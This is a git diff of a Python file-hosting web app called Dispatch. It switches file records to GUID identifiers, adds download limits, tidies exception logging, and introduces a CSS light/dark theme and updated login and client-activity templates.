id=? LIMIT 1;', (row_id,)) + if rows and rows[0][0]: + return rows[0][0] + return None + + def file_listing_revision(self): + """Cheap fingerprint of the file and folder listing.""" + self.ensure_file_guids() + self.ensure_download_limits() + files = self.exec( + "SELECT guid, filename, alias, access, IFNULL(folder_id, 0), IFNULL(encrypt, ''), " + "IFNULL(max_downloads, -1), IFNULL(download_count, 0) FROM files ORDER BY guid;" + ) or [] + folders = self.exec( + "SELECT id, folder_name, IFNULL(parent_id, 0), access FROM folders ORDER BY id;" + ) or [] + payload = repr((files, folders)).encode('utf-8') + return hashlib.sha256(payload).hexdigest() + + def upload_file(self, filename, full_path, alias, user, access, encrypt, folder_id=None, max_downloads=None): + self.ensure_file_guids() + self.ensure_download_limits() if encrypt is None or encrypt == '': encrypt = None elif encrypt == 0: encrypt = '0' sql = '''INSERT OR IGNORE INTO files - (filename, file_path, alias, uploaded_by, access, encrypt, folder_id) - VALUES (?, ?, ?, ?, ?, ?, ?);''' - if self.exec(sql, (filename, full_path, alias, user, access, encrypt, folder_id)) is not False: + (guid, filename, file_path, alias, uploaded_by, access, encrypt, folder_id, max_downloads, download_count) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, 0);''' + guid = new_file_guid() + if self.exec(sql, (guid, filename, full_path, alias, user, access, encrypt, folder_id, max_downloads)) is not False: return True return False def list_files(self, include_size=False): + self.ensure_file_guids() data = [] # Get settings once instead of subquery per row settings = self.get_settings() - sql = '''SELECT id, filename, file_path, alias, upload_date, uploaded_by, access, encrypt, folder_id FROM files;''' + self.ensure_download_limits() + sql = '''SELECT guid, filename, file_path, alias, upload_date, uploaded_by, access, encrypt, folder_id, + max_downloads, IFNULL(download_count, 0) FROM files;''' for x in self.exec(sql): obj = {} obj['id'] = x[0] @@ -484,15 +778,33 @@ def list_files(self, include_size=False): obj['client_port'] = settings.get('client_port', 443) obj['encrypt'] = self._coerce_encrypt_value(x[7]) obj['folder_id'] = x[8] + obj['max_downloads'] = x[9] + obj['download_count'] = x[10] or 0 # Only get file size if requested (slow disk I/O) obj['file_size'] = config.get_file_size(obj['file_path']) if include_size else '' data.append(obj) return data def update_access_by_id(self, file_id, access): - if self.exec('UPDATE files SET access=? WHERE id=?;', (access, file_id)): - return True - return False + if not is_file_guid(file_id if isinstance(file_id, str) else ''): + return False + file_id = file_id.strip() + # UPDATE returns no rows, so an empty list is success. False is a SQL error. + updated = self.exec('UPDATE files SET access=? WHERE guid=?;', (access, file_id)) + if updated is False: + return False + rows = self.exec('SELECT access FROM files WHERE guid=? LIMIT 1;', (file_id,)) + return bool(rows) and int(rows[0][0]) == int(access) + + def get_file_by_filename(self, filename): + """Look up a file by its stored filename. The column is unique.""" + self.ensure_file_guids() + if not filename: + return {} + rows = self.exec('SELECT guid FROM files WHERE filename=? LIMIT 1;', (filename,)) + if not rows or not rows[0][0]: + return {} + return self.get_file_by_id(rows[0][0]) def alias_exists(self, alias): # user for collision checks with alias names @@ -501,36 +813,47 @@ def alias_exists(self, alias): return False def get_file_by_alias(self, alias): + self.ensure_file_guids() data = {} - for x in self.exec('SELECT id, file_path, access, encrypt FROM files WHERE alias=? LIMIT 1;', (alias,)): + for x in self.exec('SELECT guid, id, file_path, access, encrypt FROM files WHERE alias=? LIMIT 1;', (alias,)): data['id'] = x[0] - data['file_path'] = x[1] - data['access'] = x[2] - data['encrypt'] = self._coerce_encrypt_value(x[3]) - data['access_name'] = self.file_access[x[2]] + data['row_id'] = x[1] + data['file_path'] = x[2] + data['access'] = x[3] + data['encrypt'] = self._coerce_encrypt_value(x[4]) + data['access_name'] = self.file_access[x[3]] return data def get_file_by_id(self, file_id): - # used to pull file info for editing + """Look up a file by its public GUID. Integer ids are not accepted.""" + self.ensure_file_guids() + if not is_file_guid(file_id if isinstance(file_id, str) else ''): + return {} data = {} - sql = '''SELECT filename, file_path, alias, upload_date, - uploaded_by, access, encrypt, folder_id - FROM files - WHERE id=? LIMIT 1;''' + self.ensure_download_limits() + sql = '''SELECT guid, id, filename, file_path, alias, upload_date, + uploaded_by, access, encrypt, folder_id, max_downloads, IFNULL(download_count, 0) + FROM files + WHERE guid=? LIMIT 1;''' for x in self.exec(sql, (file_id,)): - data['id'] = file_id - data['filename'] = x[0] - data['file_path'] = x[1] - data['alias'] = x[2] - data['upload_date'] = x[3] - data['uploaded_by'] = x[4] - data['access'] = x[5] - data['encrypt'] = self._coerce_encrypt_value(x[6]) - data['folder_id'] = x[7] - data['access_name'] = self.file_access[x[5]] + data['id'] = x[0] + data['row_id'] = x[1] + data['filename'] = x[2] + data['file_path'] = x[3] + data['alias'] = x[4] + data['upload_date'] = x[5] + data['uploaded_by'] = x[6] + data['access'] = x[7] + data['encrypt'] = self._coerce_encrypt_value(x[8]) + data['folder_id'] = x[9] + data['max_downloads'] = x[10] + data['download_count'] = x[11] or 0 + data['access_name'] = self.file_access[x[7]] return data def update_file_by_id(self, file_id, filename, full_path, alias, user, access, encrypt, folder_id=None): + if not is_file_guid(file_id if isinstance(file_id, str) else ''): + return False if encrypt is None or encrypt == '': encrypt = None elif encrypt == 0: @@ -538,18 +861,24 @@ def update_file_by_id(self, file_id, filename, full_path, alias, user, access, e sql = '''UPDATE files SET filename=?, file_path=?, alias=?, encrypt=?, upload_date=datetime('now','localtime'), uploaded_by=?, - access=?, folder_id=? WHERE id=?;''' - self.exec(sql, (filename, full_path, alias, encrypt, user, access, folder_id, file_id)) + access=?, folder_id=? WHERE guid=?;''' + return self.exec(sql, (filename, full_path, alias, encrypt, user, access, folder_id, file_id)) def del_file_by_id(self, file_id): - return self.exec('DELETE FROM files WHERE id=?;', (file_id,)) + if not is_file_guid(file_id if isinstance(file_id, str) else ''): + return False + return self.exec('DELETE FROM files WHERE guid=?;', (file_id,)) def move_file_to_folder(self, file_id, folder_id): # Move file to a folder (or root if folder_id is None) - return self.exec('UPDATE files SET folder_id=? WHERE id=?;', (folder_id, file_id)) + if not is_file_guid(file_id if isinstance(file_id, str) else ''): + return False + return self.exec('UPDATE files SET folder_id=? WHERE guid=?;', (folder_id, file_id)) def update_file_storage_by_id(self, file_id, full_path, folder_id): - return self.exec('UPDATE files SET file_path=?, folder_id=? WHERE id=?;', (full_path, folder_id, file_id)) + if not is_file_guid(file_id if isinstance(file_id, str) else ''): + return False + return self.exec('UPDATE files SET file_path=?, folder_id=? WHERE guid=?;', (full_path, folder_id, file_id)) # # Folder Table @@ -844,8 +1173,10 @@ def lookup_proxy_route(self, path): return x[0] return False - def update_proxy_routes(self, routes={}): + def update_proxy_routes(self, routes=None): # Truncate DB and re-add + if routes is None: + routes = {} self.exec('''DELETE FROM proxy_routes;''') for path, redirect_url in routes.items(): self.exec("INSERT INTO proxy_routes (path, redirect_url) VALUES (?, ?)", (path, redirect_url)) @@ -856,12 +1187,14 @@ def get_response_headers(self): result = self.exec("SELECT header_name, header_value FROM response_headers") if result: return {x[0]: x[1] for x in result} - except: - pass + except Exception: + logging.debug('Failed to read response headers', exc_info=True) return {} - def update_response_headers(self, headers={}): + def update_response_headers(self, headers=None): """Update response headers - truncate and re-add""" + if headers is None: + headers = {} self.exec('''DELETE FROM response_headers;''') for name, value in headers.items(): if name and value: # Skip empty entries diff --git a/dispatch/script_scheduler.py b/dispatch/script_scheduler.py index 30af770..52d1cc6 100644 --- a/dispatch/script_scheduler.py +++ b/dispatch/script_scheduler.py @@ -1,5 +1,6 @@ """Run scheduled scripts in a background thread.""" +import logging import threading import subprocess import tempfile @@ -113,7 +114,8 @@ def _execute_script(self, script): tmp.write(script.get('script_content', '')) tmp_path = tmp.name - result = subprocess.run(['python3', tmp_path], capture_output=True, text=True, timeout=30) + # Scheduled scripts are operator-authored Python, same as the manual runner. + result = subprocess.run(['python3', tmp_path], capture_output=True, text=True, timeout=30) # noqa: S603, S607 output = (result.stdout or '') + (result.stderr or '') success = result.returncode == 0 except subprocess.TimeoutExpired: @@ -128,7 +130,7 @@ def _execute_script(self, script): import os os.remove(tmp_path) except Exception: - pass + logging.debug('Failed to remove scheduled script temp file', exc_info=True) db = DispatchDB(self.db_path) try: @@ -151,7 +153,7 @@ def _execute_script(self, script): notify_plain_no_codeblock=bool(script.get('notify_plain_no_codeblock', 0)) ) except Exception: - pass + logging.debug('Scheduled script notification failed', exc_info=True) scheduler = ScriptScheduler() diff --git a/dispatch/static/css/dispatch-theme.css b/dispatch/static/css/dispatch-theme.css new file mode 100644 index 0000000..86006f0 --- /dev/null +++ b/dispatch/static/css/dispatch-theme.css @@ -0,0 +1,1080 @@ +/* Dispatch theme tokens. Light is the default. Dark replaces the same tokens + on the document element, so components follow one palette instead of + one-off color overrides. */ + +:root, +html[data-theme="light"] { + --dispatch-bg: #eef2f6; + --dispatch-surface: #ffffff; + --dispatch-surface-2: #f7f9fb; + --dispatch-surface-3: #e7edf3; + --dispatch-text: #1b2430; + --dispatch-muted: #5d6b7c; + --dispatch-subtle: #3e4d5e; + --dispatch-border: #e3e8ee; + --dispatch-control-border: #3e4e60; + --dispatch-accent: #2f9e44; + --dispatch-accent-2: #3cb54d; + --dispatch-shadow: 0 10px 30px rgba(22, 34, 51, 0.06); + --dispatch-radius: 14px; + --dispatch-code-bg: #2b2b2b; + --dispatch-code-text: #e7eef6; + --dispatch-input-bg: #f7f9fb; + --dispatch-header-bg: #161616; + --dispatch-header-text: #f4f7fb; + --dispatch-success-bg: #d1e7dd; + --dispatch-success-text: #0f5132; + --dispatch-danger-bg: #f8d7da; + --dispatch-danger-text: #842029; + --dispatch-warning-bg: #fff3cd; + --dispatch-warning-text: #664d03; + --dispatch-info-bg: #d1ecf1; + --dispatch-info-text: #0c5460; + --dispatch-neutral-bg: #e7edf3; + --dispatch-neutral-text: #41464b; + color-scheme: light; + --bs-body-bg: var(--dispatch-bg); + --bs-body-color: var(--dispatch-text); + --bs-emphasis-color: var(--dispatch-text); + --bs-secondary-color: var(--dispatch-muted); + --bs-tertiary-color: var(--dispatch-muted); + --bs-secondary-bg: var(--dispatch-surface); + --bs-tertiary-bg: var(--dispatch-surface-2); + --bs-border-color: var(--dispatch-border); + --bs-heading-color: var(--dispatch-text); + --bs-link-color: var(--dispatch-accent); + --bs-link-hover-color: var(--dispatch-accent-2); +} + +html[data-theme="dark"] { + --dispatch-bg: #10151c; + --dispatch-surface: #18212c; + --dispatch-surface-2: #202b38; + --dispatch-surface-3: #2a3848; + --dispatch-text: #e7eef6; + --dispatch-muted: #d5deea; + --dispatch-subtle: #d5deea; + --dispatch-border: #2c3948; + --dispatch-control-border: #9eb0c4; + --dispatch-accent: #4bd11e; + --dispatch-accent-2: #6ee04a; + --dispatch-shadow: 0 12px 32px rgba(0, 0, 0, 0.28); + --dispatch-code-bg: #1e2430; + --dispatch-code-text: #e7eef6; + --dispatch-input-bg: #101820; + --dispatch-header-bg: #101318; + --dispatch-header-text: #f4f7fb; + --dispatch-success-bg: #173526; + --dispatch-success-text: #b7f0c6; + --dispatch-danger-bg: #4a2228; + --dispatch-danger-text: #ffc9cf; + --dispatch-warning-bg: #4a3c16; + --dispatch-warning-text: #ffe7a3; + --dispatch-info-bg: #163444; + --dispatch-info-text: #c4ecff; + --dispatch-neutral-bg: #2c3846; + --dispatch-neutral-text: #d5dee8; + color-scheme: dark; + --bs-body-bg: var(--dispatch-bg); + --bs-body-color: var(--dispatch-text); + --bs-emphasis-color: var(--dispatch-text); + --bs-secondary-color: var(--dispatch-muted); + --bs-tertiary-color: var(--dispatch-muted); + --bs-secondary-bg: var(--dispatch-surface); + --bs-tertiary-bg: var(--dispatch-surface-2); + --bs-border-color: var(--dispatch-border); + --bs-heading-color: var(--dispatch-text); + --bs-link-color: var(--dispatch-accent-2); + --bs-link-hover-color: #9af07a; +} + +html { + /* 90% of the 16px browser default, so 100% zoom matches the density of 90% zoom. */ + font-size: 90%; +} + +html, +body { + background: var(--dispatch-bg); + color: var(--dispatch-text); +} + +body { + zoom: 1; + font-family: "Nunito", "Segoe UI", sans-serif; +} + +#main, +#footer, +.footer { + background: var(--dispatch-bg); + color: var(--dispatch-text); +} + +.sidebar, +.card, +.modal-content, +.dropdown-menu, +.activity-viewer, +.log-viewer, +.toc-box, +.schedule-options, +.script-item, +.card-header, +.card-footer, +.list-group-item, +.input-group-text { + background: var(--dispatch-surface); + color: var(--dispatch-text); + border-color: var(--dispatch-border); +} + +.header, +#header { + background: var(--dispatch-header-bg) !important; + color: var(--dispatch-header-text) !important; + border-bottom: 1px solid #2a2a2a; + transition: none !important; + height: 54px; +} + +.sidebar, +#sidebar { + top: 54px; + width: 180px; + transition: left 0.3s ease !important; +} + +@media (min-width: 1200px) { + #main, + #footer { + margin-left: 180px; + } +} + +.header .logo span, +.header .theme-toggle, +.header .nav-profile, +.header .nav-profile span, +.header .dropdown-toggle, +.header .toggle-sidebar-btn { + color: var(--dispatch-header-text) !important; +} + +.theme-icon-sun { + display: none; +} + +html[data-theme="dark"] .theme-icon-moon { + display: none; +} + +html[data-theme="dark"] .theme-icon-sun { + display: inline-block; +} + +.login-theme-toggle { + position: fixed; + top: 16px; + right: 16px; + z-index: 20; + background: var(--dispatch-surface); + border: 1px solid var(--dispatch-border); + border-radius: 10px; + color: var(--dispatch-text); +} + +.hint-info { + color: var(--dispatch-info-text); +} + +.hint-warning { + color: var(--dispatch-warning-text); +} + +.result-served, +.live-pill, +.log-level-info, +.log-level-warning, +.log-level-error, +.log-level-debug, +.result-denied, +.result-not_found, +.result-auth_failure { + border: 0; +} + +.card, +.activity-viewer, +.log-viewer, +.modal-content, +.toc-box { + border: 1px solid var(--dispatch-border); + border-radius: var(--dispatch-radius); + box-shadow: var(--dispatch-shadow); +} + +.card-body, +.card-title, +.card-header, +.modal-title, +.pagetitle h1, +h1, h2, h3, h4, h5, h6, +.dropdown-item, +.dropdown-header, +.sidebar-nav .nav-link, +.header-nav .nav-profile, +.section-subtitle, +.text-muted { + color: var(--dispatch-text); +} + +.text-muted, +.section-subtitle, +.form-text, +.dropdown-header, +.sidebar-nav .nav-heading { + color: var(--dispatch-muted); +} + +a { + color: var(--dispatch-accent); +} + +a:hover { + color: var(--dispatch-accent-2); +} + +.breadcrumb, +.breadcrumb a, +.breadcrumb .breadcrumb-item::before { + color: var(--dispatch-muted); +} + +.breadcrumb .active, +.breadcrumb a:hover { + color: var(--dispatch-text); +} + +.form-control, +.form-select, +.access_perms, +textarea, +input[type="text"], +input[type="password"], +input[type="number"], +input[type="search"], +input[type="email"], +input[type="time"], +input[type="url"] { + background: var(--dispatch-input-bg); + color: var(--dispatch-text); + border: 1px solid var(--dispatch-control-border) !important; + border-radius: 10px; +} + +.input-group-text { + background: var(--dispatch-surface-2); + color: var(--dispatch-text); + border-color: var(--dispatch-border); +} + +.access_perms, +.access_perms:focus, +.form-control[readonly], +.form-control:disabled { + background: var(--dispatch-surface-2); + color: var(--dispatch-text); +} + +.form-control::placeholder, +textarea::placeholder, +input::placeholder { + color: var(--dispatch-muted); + opacity: 1; +} + +.form-control:focus, +.form-select:focus, +.access_perms:focus, +textarea:focus, +input:focus { + background: var(--dispatch-input-bg); + color: var(--dispatch-text); + border-color: var(--dispatch-accent) !important; + box-shadow: 0 0 0 3px color-mix(in srgb, var(--dispatch-accent) 25%, transparent); +} + +.dispatch-subtle { + color: var(--dispatch-subtle) !important; +} + +table a .bi, +.table .bi-clipboard, +.dispatch-icon { + color: var(--dispatch-accent); +} + +html[data-theme="dark"] table a .bi, +html[data-theme="dark"] .table .bi-clipboard, +html[data-theme="dark"] .dispatch-icon { + color: var(--dispatch-accent-2) !important; +} + +.form-check.form-switch { + display: flex; + align-items: center; + gap: 0.65rem; + min-height: 26px; + padding-left: 0; +} + +.form-switch .form-check-input { + appearance: none !important; + -webkit-appearance: none !important; + float: none; + position: static; + width: 50px !important; + height: 26px !important; + margin: 0 !important; + flex: 0 0 auto; + cursor: pointer; + border-radius: 26px !important; + border: 1px solid var(--dispatch-control-border) !important; + background-color: #c5ced8 !important; + background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%23ffffff'/%3e%3c/svg%3e") !important; + background-repeat: no-repeat !important; + background-size: 20px 20px !important; + background-position: left 3px center !important; + box-shadow: none !important; + transition: background-position 0.15s ease-in-out, background-color 0.15s ease-in-out; +} + +.form-switch .form-check-input::before, +.form-switch .form-check-input::after { + content: none !important; + display: none !important; + background: none !important; +} + +.form-switch .form-check-input:checked { + background-color: var(--dispatch-accent) !important; + border-color: var(--dispatch-accent) !important; + background-position: right 3px center !important; +} + +.form-switch .form-check-input:focus { + box-shadow: 0 0 0 3px color-mix(in srgb, var(--dispatch-accent) 28%, transparent) !important; +} + +.dataTables_wrapper .dataTables_length, +.dataTables_wrapper .dataTables_length label { + white-space: nowrap; +} + +.dataTables_wrapper .dataTables_length select { + display: inline-block !important; + width: auto !important; + margin: 0 0.4rem; + vertical-align: middle; +} + +.btn, +.page-link, +.dataTables_wrapper .dataTables_paginate .paginate_button, +.actions button { + border-radius: 10px !important; +} + +.pagination { + gap: 6px; +} + +.pagination .page-link, +.page-item + .page-item .page-link { + margin-left: 0 !important; +} + +.page-link, +.dataTables_wrapper .dataTables_paginate .paginate_button { + background: var(--dispatch-surface) !important; + color: var(--dispatch-text) !important; + border: 1px solid var(--dispatch-control-border) !important; + opacity: 1 !important; +} + +#file_listing .actions .btn, +#file_listing .actions .btn i, +#file_listing .actions a .bi { + color: #111111 !important; +} + +.sidebar-nav .nav-link span { + min-width: 0; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} + +.control-saved { + outline: 2px solid var(--dispatch-accent); +} + +.control-failed { + outline: 2px solid #dc3545; +} + +.page-item.active .page-link, +.page-link.active, +.dataTables_wrapper .dataTables_paginate .paginate_button.current { + background: var(--dispatch-accent) !important; + border-color: var(--dispatch-accent) !important; + color: #102013 !important; +} + +.page-item.disabled .page-link, +.dataTables_wrapper .dataTables_paginate .paginate_button.disabled { + background: var(--dispatch-surface-2) !important; + color: var(--dispatch-text) !important; + border: 1px solid var(--dispatch-control-border) !important; + opacity: 1 !important; +} + +.form-control[readonly], +.form-control:disabled, +.form-select:disabled { + background: var(--dispatch-surface-2); + color: var(--dispatch-muted); +} + +.table { + --bs-table-bg: var(--dispatch-surface); + --bs-table-color: var(--dispatch-text); + --bs-table-border-color: var(--dispatch-border); + --bs-table-striped-bg: var(--dispatch-surface-2); + --bs-table-striped-color: var(--dispatch-text); + --bs-table-hover-bg: var(--dispatch-surface-3); + --bs-table-hover-color: var(--dispatch-text); + --bs-table-active-bg: var(--dispatch-surface-3); + --bs-table-active-color: var(--dispatch-text); + color: var(--dispatch-text); + border-color: var(--dispatch-border); +} + +.table thead th { + font-size: 12px; + letter-spacing: 0.04em; + text-transform: uppercase; + font-weight: 700; + color: var(--dispatch-text); + background: var(--dispatch-surface-3); + border-color: var(--dispatch-control-border); +} + +.dropdown-menu { + background: var(--dispatch-surface); + border: 1px solid var(--dispatch-border); +} + +.dropdown-item:hover, +.dropdown-item:focus, +.header-nav .profile .dropdown-item:hover { + background: var(--dispatch-surface-2); + color: var(--dispatch-text); +} + +.modal-header, +.modal-footer { + border-color: var(--dispatch-border); +} + +.btn-close { + filter: none; +} + +.alert { + border-color: var(--dispatch-border); + color: var(--dispatch-text); +} + +.btn-outline-secondary, +.btn-outline-dark, +.btn-outline-light { + color: var(--dispatch-text); + border-color: var(--dispatch-border); + background: transparent; +} + +.btn-outline-secondary:hover, +.btn-outline-dark:hover, +.btn-outline-light:hover { + background: var(--dispatch-surface-2); + color: var(--dispatch-text); + border-color: var(--dispatch-border); +} + +.sidebar-nav .nav-link, +.sidebar-nav .nav-link.collapsed { + border-radius: 10px; + margin: 2px 8px; + padding: 8px 10px; + background: var(--dispatch-surface-2); + color: var(--dispatch-text); + overflow: hidden; + min-width: 0; + max-width: 100%; + box-sizing: border-box; +} + +.sidebar-nav .nav-link i, +.sidebar-nav .nav-link.collapsed i { + color: var(--dispatch-muted); + background: transparent; +} + +.sidebar-nav .nav-content a, +.sidebar-nav .nav-content a span, +.sidebar-nav .nav-content a i { + color: var(--dispatch-text); + background: transparent; +} + +.sidebar-nav .nav-link:hover, +.sidebar-nav .nav-link.active, +.sidebar-nav .nav-content a:hover, +.sidebar-nav .nav-content a:focus, +.sidebar-nav .nav-content a.active { + background: color-mix(in srgb, var(--dispatch-accent) 16%, var(--dispatch-surface-2)); + color: var(--dispatch-text); +} + +.sidebar-nav .nav-content a.active i, +.sidebar-nav .nav-content a:hover i { + background: transparent; + color: var(--dispatch-accent); +} + +.theme-toggle { + border: 0; + background: transparent; + color: var(--dispatch-text); + font-size: 20px; + padding: 6px 10px; +} + +.login-shell { + min-height: 100vh; + display: flex; + align-items: center; + justify-content: center; + padding: 32px 16px; + background: + radial-gradient(900px 420px at 10% -10%, color-mix(in srgb, var(--dispatch-accent) 28%, transparent), transparent 60%), + var(--dispatch-bg); +} + +.login-shell .card { + width: min(440px, 100%); + border-radius: 18px; +} + +pre, +pre code, +.hljs { + background: var(--dispatch-code-bg); + color: var(--dispatch-code-text); + border-color: var(--dispatch-border); +} + +code, +#scriptEditor, +#consoleOutput { + border-color: var(--dispatch-border); +} + +pre .copy-btn, +pre .copy-btn i { + color: #d5deea; +} + +.toc-box, +.log-toolbar, +.activity-toolbar, +.stat-card, +.split-card, +.schedule-options, +.script-item { + background: var(--dispatch-surface-2); + color: var(--dispatch-text); + border-color: var(--dispatch-border); +} + +.script-item:hover { + background: var(--dispatch-surface-3); +} + +/* Dark theme. These beat Bootstrap, DataTables, and page -
+ +
@@ -52,7 +74,9 @@
- {{ login_status }} + {% if login_error %} +
{{ login_error }}
+ {% endif %}
diff --git a/dispatch/templates/login_mfa.html b/dispatch/templates/login_mfa.html index 407d234..01b7338 100644 --- a/dispatch/templates/login_mfa.html +++ b/dispatch/templates/login_mfa.html @@ -11,6 +11,24 @@ + + -
+ +
@@ -55,7 +77,9 @@
- {{ login_status }} + {% if login_error %} +
{{ login_error }}
+ {% endif %}
diff --git a/dispatch/templates/master.html b/dispatch/templates/master.html index 53e5745..9bf3834 100755 --- a/dispatch/templates/master.html +++ b/dispatch/templates/master.html @@ -16,6 +16,24 @@ + + +{% endblock %} + +{% block bread_crumb %} +
+

Client Activity Connecting

+ {% if token['role'] > 2 %} +

Manage alerts

+ {% endif %} + +
+{% endblock %} + +{% block html_content %} +
+
+
+
Matching Requests
+
{{ summary.total }}
+
+
+
Served
+
{{ summary.served }}
+
+
+
Failed Attempts
+
{{ summary.failed }}
+
+
+
Auth Failures
+
{{ summary.auth_failure }}
+
+
+
Not Found
+
{{ summary.not_found }}
+
+
+ + + + + + + + Clear + + +
+
+
Top Requesters
+ + + {% for row in summary.top_requesters %} + + + + + {% else %} + + {% endfor %} + +
{{ row.client_ip or 'unknown' }}{% if row.username %} ({{ row.username }}){% endif %}{{ row.count }}
No requests in this view.
+
+
+
Top Files
+ + + {% for row in summary.top_files %} + + + + + {% else %} + + {% endfor %} + +
{{ row.path or '/' }}{{ row.count }}
No requests in this view.
+
+
+ +
+ + + + + + + + + + + + + {% for row in requests_rows %} + + + + + + + + + {% else %} + + + + {% endfor %} + +
TimeResultPathClientIdentityUser Agent
{{ row.timestamp }}{{ row.result|replace('_', ' ') }}{{ row.path }}{{ row.client_ip }} + {% if row.username %}{{ row.username }}{% else %}anonymous{% endif %} +
{{ row.auth_method|replace('_', ' ') }}
+
{{ row.user_agent }}
No client file requests match these filters.
+
+
+{% endblock %} + +{% block html_footer %} + +{% endblock %} diff --git a/dispatch/templates/settings/admin.html b/dispatch/templates/settings/admin.html index 48d4218..2cd8754 100644 --- a/dispatch/templates/settings/admin.html +++ b/dispatch/templates/settings/admin.html @@ -123,5 +123,5 @@
Discord Webhook
{% endblock %} {% block html_footer %} - {{ status_msg }} + {% include "_notice.html" %} {% endblock %} diff --git a/dispatch/templates/settings/alerts.html b/dispatch/templates/settings/alerts.html index db65f4a..94b393a 100644 --- a/dispatch/templates/settings/alerts.html +++ b/dispatch/templates/settings/alerts.html @@ -13,6 +13,7 @@

Alert Configuration

@@ -20,12 +21,12 @@

Alert Configuration

{% endblock %} {% block html_content %} -
+
Add Alert
-
-
- + +
+
-